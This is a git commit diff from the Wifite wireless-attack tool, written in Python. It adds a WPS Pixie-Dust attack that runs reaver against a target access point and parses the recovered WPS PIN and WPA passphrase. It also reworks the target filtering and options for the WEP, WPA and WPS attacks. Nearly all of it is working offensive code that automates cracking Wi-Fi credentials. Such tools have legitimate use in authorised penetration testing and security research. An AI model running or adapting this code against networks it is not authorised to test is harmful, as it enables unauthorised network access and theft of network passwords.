WPS PixieDust attack support

Fixed encryption filtering.
More WPS-specific configurations.
Various fixes.
This commit is contained in:
derv82
2015-06-02 07:31:41 -07:00
parent 9a8dec818e
commit ff66d08308
10 changed files with 348 additions and 47 deletions

View File

@@ -1,37 +1,63 @@
#!/usr/bin/python
from py.Configuration import Configuration
from py.Scanner import Scanner
from py.Color import Color
from py.AttackWEP import AttackWEP
from py.AttackWPA import AttackWPA
from py.AttackWPS import AttackWPS
class Wifite(object):
def __init__(self):
pass
def run(self):
'''
Main program.
1) Scans for targets, asks user to select targets
2) Attacks each target
'''
s = Scanner()
targets = s.select_targets()
for t in targets:
Color.pl('{+} starting attacks against {C}%s{W} ({C}%s{W})'
% (t.bssid, t.essid))
# TODO: Check if Configuration says to attack certain encryptions.
if 'WEP' in t.encryption:
if 'WEP' in t.encryption: # TODO: and configuration.use_wep
attack = AttackWEP(t)
attack.run()
elif 'WPA' in t.encryption:
# TODO: Check if WPS, attack WPS
if t.wps: # TODO: and Configuration.use_wps
attack = AttackWPS(t)
if attack.run():
# We cracked it.
break
else: # TODO: and Configuration.use_wpa
# WPS failed, try WPA handshake.
attack = AttackWPA(t)
attack.run()
else: # TODO: and Configuration.use_wpa
# Not using WPS, try WPA handshake.
attack = AttackWPA(t)
attack.run()
else:
# TODO: Error: Can't attack - encryption not WEP or WPA
pass
# TODO: if attack.successful:
# TODO: Save attack.crack_result
pass
if __name__ == '__main__':
w = Wifite()
try:
w.run()
except Exception, e:
Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e))
#from traceback import format_exc
#format_exc().replace('\n', '\n ')
from traceback import format_exc
print '\n '
print format_exc().replace('\n', '\n ')
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}')
Configuration.exit_gracefully(0)

View File

@@ -124,12 +124,14 @@ class Airodump(object):
# Parse the .CSV file
targets = Airodump.get_targets_from_csv(csv_filename)
targets = Airodump.filter_targets(targets, wep=True, wpa=True, opn=False)
# Check targets for WPS
capfile = csv_filename[:-3] + 'cap'
Wash.check_for_wps_and_update_targets(capfile, targets)
# Filter targets based on encryption
targets = Airodump.filter_targets(targets)
# Sort by power
targets.sort(key=lambda x: x.power, reverse=True)
@@ -189,15 +191,18 @@ class Airodump(object):
return targets
@staticmethod
def filter_targets(targets, wep=True, wpa=True, opn=False):
''' Filters targets based on encryption '''
def filter_targets(targets):
''' Filters targets based on encryption defined in Configuration '''
result = []
for target in targets:
if wep and 'WEP' in target.encryption:
if 'WEP' in Configuration.encryption_filter and \
'WEP' in target.encryption:
result.append(target)
elif wpa and 'WPA' in target.encryption:
elif 'WPA' in Configuration.encryption_filter and \
'WPA' in target.encryption:
result.append(target)
elif opn and 'OPN' in target.encryption:
elif 'WPS' in Configuration.encryption_filter and \
target.wps:
result.append(target)
return result

View File

@@ -31,8 +31,8 @@ class Arguments(object):
wep = parser.add_argument_group('WEP-RELATED')
wep.add_argument('--wep',
action='store_true',
dest='wep_only',
help='Only target WEP-encrypted networks (ignores WPA)')
dest='wep_filter',
help='Only show WEP-encrypted networks')
wep.add_argument('--require-fakeauth',
action='store_true',
dest='require_fakeauth',
@@ -42,15 +42,23 @@ class Arguments(object):
wpa = parser.add_argument_group('WPA-RELATED')
wpa.add_argument('--wpa',
action='store_true',
dest='wpa_only',
help='Only target WPA-encrypted networks (ignores WEP)')
dest='wpa_filter',
help='Only show WPA-encrypted networks')
# WPS
wps = parser.add_argument_group('WPS-RELATED')
wps.add_argument('--wps',
action='store_true',
dest='wps_only',
help='Only target WPS-encrypted networks (ignores WEP/nonWPS)')
dest='wps_filter',
help='Only show WPA networks with WPS enabled')
wps.add_argument('--reaver',
action='store_true',
dest='reaver_only',
help='Only use Reaver on WPS networks (no handshake attack)')
wps.add_argument('--no-reaver',
action='store_true',
dest='no_reaver',
help='Do NOT use Reaver on WPS networks (handshake only)')
wps.add_argument('--pixie',
action='store_true',
dest='pixie_only',

View File

@@ -21,11 +21,13 @@ class AttackWEP(Attack):
def __init__(self, target):
super(AttackWEP, self).__init__(target)
self.crack_result = None
self.success = False
def run(self):
'''
Initiates full WEP attack.
Including airodump-ng starting, cracking, etc.
Returns: True if attack is succesful, false otherwise
'''
# First, start Airodump process
with Airodump(channel=self.target.channel,
@@ -95,7 +97,8 @@ class AttackWEP(Attack):
hex_key, \
ascii_key)
self.crack_result.dump()
return True
self.success = True
return self.success
if aircrack and aircrack.is_running():
# Aircrack is running in the background.
@@ -139,9 +142,9 @@ class AttackWEP(Attack):
# XXX: For debugging
Color.pl('\n%s stopped, output:' % attack_name)
Color.pl(aireplay.get_output())
break
continue # Continue to other attacks
# If .xor exists, run packetforge-ng to create .cap
# TODO: If .xor exists, run packetforge-ng to create .cap
# If packetforge created the replay .cap file,
# 1. Change attack_name to 'forged arp replay'
# 2. Start Aireplay to replay the .cap file
@@ -149,7 +152,7 @@ class AttackWEP(Attack):
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
Color.pl('\naireplay.get_output():')
Color.pl(aireplay.get_output())
break
continue # Continue to other attacks
# Check if IVs stopped flowing (same for > N seconds)
if airodump_target.ivs > previous_ivs:
@@ -170,6 +173,12 @@ class AttackWEP(Attack):
time.sleep(1)
continue
# End of big while loop
# End of for-each-attack-type loop
# End of with-airodump
self.success = False
return self.success
def fake_auth(self):

View File

@@ -17,6 +17,7 @@ class AttackWPA(Attack):
def __init__(self, target):
super(AttackWPA, self).__init__(target)
self.crack_result = None
self.success = False
def run(self):
'''
@@ -104,8 +105,8 @@ class AttackWPA(Attack):
if not handshake:
# No handshake, attack failed.
raise Exception('Handshake not captured')
return False
self.success = False
return self.success
key = None
@@ -158,7 +159,8 @@ class AttackWPA(Attack):
self.crack_result = WPAResult(bssid, essid, handshake.capfile, key)
self.crack_result.dump()
return True
self.success = True
return self.success
def save_handshake(self, handshake):

View File

@@ -1,13 +1,209 @@
#!/usr/bin/python
from Attack import Attack
from Color import Color
from Configuration import Configuration
from CrackResultWPS import CrackResultWPS
from Process import Process
import os
import time
import re
class AttackWPS(Attack):
def __init__(self, target):
super(AttackWPS, self).__init__(target)
self.success = False
def run(self):
raise Exception("TODO: Crack WPS")
''' Run all WPS-related attacks '''
# Drop out if user specified to not user Reaver
if Configuration.no_reaver:
self.success = False
return self.success
# Run Pixie-Dust attack
if self.is_pixiedust_supported():
if self.run_pixiedust_attack():
# Pixie-Dust attack succeeded. We're done.
self.success = True
return self.success
else:
Color.pl(
'{!} {R}your version of "reaver" does not' +
' support the {O}WPS pixie-dust attack{W}')
if Configuration.pixie_only:
Color.pl('{!} {O}--pixie-only{R} set, ignoring WPS-PIN attack{W}')
self.success = False
else:
# Run WPS-PIN attack
self.success = self.run_wps_pin_attack()
return self.success
def is_pixiedust_supported(self):
''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
output = Process(['reaver', '-h']).stderr()
return '--pixie-dust' in output
def run_pixiedust_attack(self):
# Write reaver stdout to file.
self.stdout_file = Configuration.temp('reaver.out')
if os.path.exists(self.stdout_file):
os.remove(self.stdout_file)
command = [
'reaver',
'-i', Configuration.interface,
'-b', self.target.bssid,
'-c', self.target.channel,
'-K', '1', # pixie-dust attack
'-a', # Automatically restart session
'-vv' # (very) verbose
]
stdout_write = open(self.stdout_file, 'a')
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
pin = None
step = '0) initializing'
while True:
time.sleep(1)
Color.clear_line()
Color.p('\r{+} {C}WPS pixiedust attack{W}: ')
stdout_write.flush()
# Check output from reaver process
stdout = self.get_stdout()
stdout_last_line = stdout.split('\n')[-1]
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if (pin and psk and ssid) or reaver.poll() != None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
stdout = self.get_stdout()
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin and psk and ssid:
# We cracked it.
bssid = self.target.bssid
Color.pl('{G}success{W}\n')
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
self.success = True
else:
# Failed to crack, reaver proces ended.
Color.pl('{R}failed: {O}WPS pin not found{W}')
self.success = False
break
# Status updates, depending on last line of stdout
if 'Waiting for beacon from' in stdout_last_line:
step = '(step 1/8) initialized, waiting for beacon to associate'
elif 'Associated with' in stdout_last_line:
step = '(step 2/8) associated, waiting to start session'
elif 'Starting Cracking Session.' in stdout_last_line:
step = '(step 3/8) started session, waiting to try pin'
elif 'Trying pin' in stdout_last_line:
step = '(step 4/8) trying pin'
elif 'Sending EAPOL START request' in stdout_last_line:
step = '(step 5/8) sending eapol start request'
elif 'Sending identity response' in stdout_last_line:
step = '(step 6/8) sending identity response'
elif 'Sending M2 message' in stdout_last_line:
step = '(step 7/8) sending m2 message (may take a while)'
elif 'Detected AP rate limiting,' in stdout_last_line:
step = '(step 0/8) waiting for AP rate limit'
if 'WPS pin not found' in stdout:
# Attack failed; PIN not found.
Color.pl('{R}failed: {O}WPS pin not found{W}')
reaver.interrupt()
return False
fail_count = stdout.count('WPS transaction failed')
timeout_count = stdout.count('Receive timeout occurred')
# Display status of Pixie-Dust attack
Color.p('{W}%s{W}' % step)
continue
reaver.interrupt()
stdout_write.close()
return self.success
@staticmethod
def get_pin_psk_ssid(stdout):
''' Parses WPS PIN, PSK, and SSID from output '''
pin = psk = ssid = None
# Check for PIN.
# PIN: Printed *before* the attack completes.
regex = re.search('WPS pin: *([0-9]*)', stdout)
if regex:
pin = regex.groups()[0]
# PIN: Printed when attack is completed.
regex = re.search("WPS PIN: *'([0-9]+)'", stdout)
if regex:
pin = regex.groups()[0]
# Check for PSK.
regex = re.search("WPA PSK: *'(.+)'", stdout)
if regex:
psk = regex.groups()[0]
# Check for SSID
regex = re.search("AP SSID: *'(.+)'", stdout)
if regex:
ssid = regex.groups()[0]
return (pin, psk, ssid)
def run_wps_pin_attack(self):
# TODO Implement
return False
def get_stdout(self):
''' Gets output from stdout_file '''
if not self.stdout_file:
return ''
f = open(self.stdout_file, 'r')
stdout = f.read()
f.close()
return stdout.strip()
if __name__ == '__main__':
stdout = '''
[Pixie-Dust]
[Pixie-Dust] Pixiewps 1.1
[Pixie-Dust]
[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [+] WPS pin: 12345678
[Pixie-Dust]
[Pixie-Dust] [*] Time taken: 0 s
[Pixie-Dust]
Running reaver with the correct pin, wait ...
Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF
[Reaver Test] Channel: 11
[Reaver Test] [+] WPS PIN: '12345678'
[Reaver Test] [+] WPA PSK: 'Test PSK'
[Reaver Test] [+] AP SSID: 'Test Router'
'''
print AttackWPS.get_pin_psk_ssid(stdout)
pass

View File

@@ -2,6 +2,16 @@
import os
'''
--wep : Target WEP networks
--wpa : Target WPA networks
--wps : Target WPS networks
^ Can be combined
--no-reaver : Do not use reaver on WPS networks
--reaver : Only use reaver on WPS networks
'''
class Configuration(object):
''' Stores configuration variables for Wifite. '''
@@ -28,8 +38,10 @@ class Configuration(object):
Configuration.target_bssid = None # User-defined AP BSSID
Configuration.pillage = False # "All" mode to attack everything
Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
# WEP variables
Configuration.wep_only = False # Only attack WEP networks
Configuration.wep_filter = False # Only attack WEP networks
Configuration.wep_pps = 600 # Packets per second
Configuration.wep_timeout = 600 # Seconds to wait before failing
Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
@@ -44,11 +56,10 @@ class Configuration(object):
Configuration.wep_caffelatte = True
Configuration.wep_p0841 = True
Configuration.wep_hirte = True
# Number of IVS at which we start cracking
Configuration.wep_crack_at_ivs = 10000
Configuration.wep_crack_at_ivs = 10000 # Number of IVS to start cracking
# WPA variables
Configuration.wpa_only = False # Only attack WPA networks
Configuration.wpa_filter = False # Only attack WPA networks
Configuration.wpa_deauth_timeout = 10 # Wait time between deauths
Configuration.wpa_attack_timeout = 500 # Wait time before failing
Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes
@@ -65,10 +76,14 @@ class Configuration(object):
break
# WPS variables
Configuration.wps_only = False # Only attack WPS networks
Configuration.pixie_only = False # Only use Pixie attack on WPS
Configuration.wps_filter = False # Only attack WPS networks
Configuration.no_reaver = False # Do not use Reaver on WPS networks
Configuration.reaver = False # ONLY use Reaver on WPS networks
Configuration.pixie_only = False # ONLY use Pixie-Dust attack on WPS
Configuration.wps_timeout = 600 # Seconds to wait before failing
Configuration.wps_max_retries = 20 # Retries before failing
Configuration.fail_threshold = 30 # Max number of failures
Configuration.timeout_threshold = 30 # Max number of timeouts
# Overwrite config values with arguments (if defined)
Configuration.load_from_arguments()
@@ -81,13 +96,26 @@ class Configuration(object):
''' Sets configuration values based on Argument.args object '''
if args.channel: Configuration.target_channel = args.channel
if args.interface: Configuration.interface = args.interface
if args.wep_only: Configuration.wep_only = args.wep_only
if args.wpa_only: Configuration.wpa_only = args.wpa_only
if args.wps_only: Configuration.wps_only = args.wps_only
if args.wep_filter: Configuration.wep_filter = args.wep_filter
if args.wpa_filter: Configuration.wpa_filter = args.wpa_filter
if args.wps_filter: Configuration.wps_filter = args.wps_filter
if args.no_reaver: Configuration.no_reaver = args.no_reaver
if args.reaver_only: Configuration.reaver_only = args.reaver_only
if args.pixie_only: Configuration.pixie_only = args.pixie_only
if args.wordlist: Configuration.wordlist = args.wordlist
if args.require_fakeauth: Configuration.require_fakeauth = False
# Adjust encryption filter
if Configuration.wep_filter or \
Configuration.wpa_filter or \
Configuration.wps_filter:
# Reset filter
Configuration.encryption_filter = []
if Configuration.wep_filter: Configuration.encryption_filter.append('WEP')
if Configuration.wpa_filter: Configuration.encryption_filter.append('WPA')
if Configuration.wps_filter: Configuration.encryption_filter.append('WPS')
if Configuration.interface == None:
# Interface wasn't defined, select it!
from Airmon import Airmon

26
py/CrackResultWPS.py Normal file
View File

@@ -0,0 +1,26 @@
#!/usr/bin/python
from Color import Color
import time
class CrackResultWPS(object):
def __init__(self, bssid, essid, pin, psk):
self.bssid = bssid
self.essid = essid
self.pin = pin
self.psk = psk
self.time = time.time()
def dump(self):
if self.essid:
Color.pl('{+} ESSID: {C}%s{W}' % self.essid)
Color.pl('{+} BSSID: {C}%s{W}' % self.bssid)
Color.pl('{+} Encryption: {C}WPA{W} ({C}WPS{W})')
Color.pl('{+} WPS PIN: {G}%s{W}' % self.pin)
Color.pl('{+} PSK/Password: {G}%s{W}' % self.psk)
if __name__ == '__main__':
crw = CrackResultWPS('AA:BB:CC:DD:EE:FF', 'Test Router', '01234567', 'the psk')
crw.dump()

View File

@@ -35,7 +35,7 @@ class Process(object):
return True
def __init__(self, command, devnull=False):
def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE):
''' Starts executing command '''
if type(command) == str:
@@ -50,8 +50,8 @@ class Process(object):
sout = Process.devnull()
serr = Process.devnull()
else:
sout = PIPE
serr = PIPE
sout = stdout
serr = stderr
self.start_time = time.time()

View File

@@ -34,6 +34,9 @@ class Scanner(object):
"Command ran: %s"
% ' '.join(airodump.pid.command))
self.targets = airodump.get_targets()
self.print_targets()
target_count = len(self.targets)
client_count = sum(
[len(t.clients)
@@ -44,8 +47,6 @@ class Scanner(object):
' {G}%d{W} clients.' % client_count +
' {O}Ctrl+C{W} when ready')
sleep(1)
self.targets = airodump.get_targets()
self.print_targets()
except KeyboardInterrupt:
pass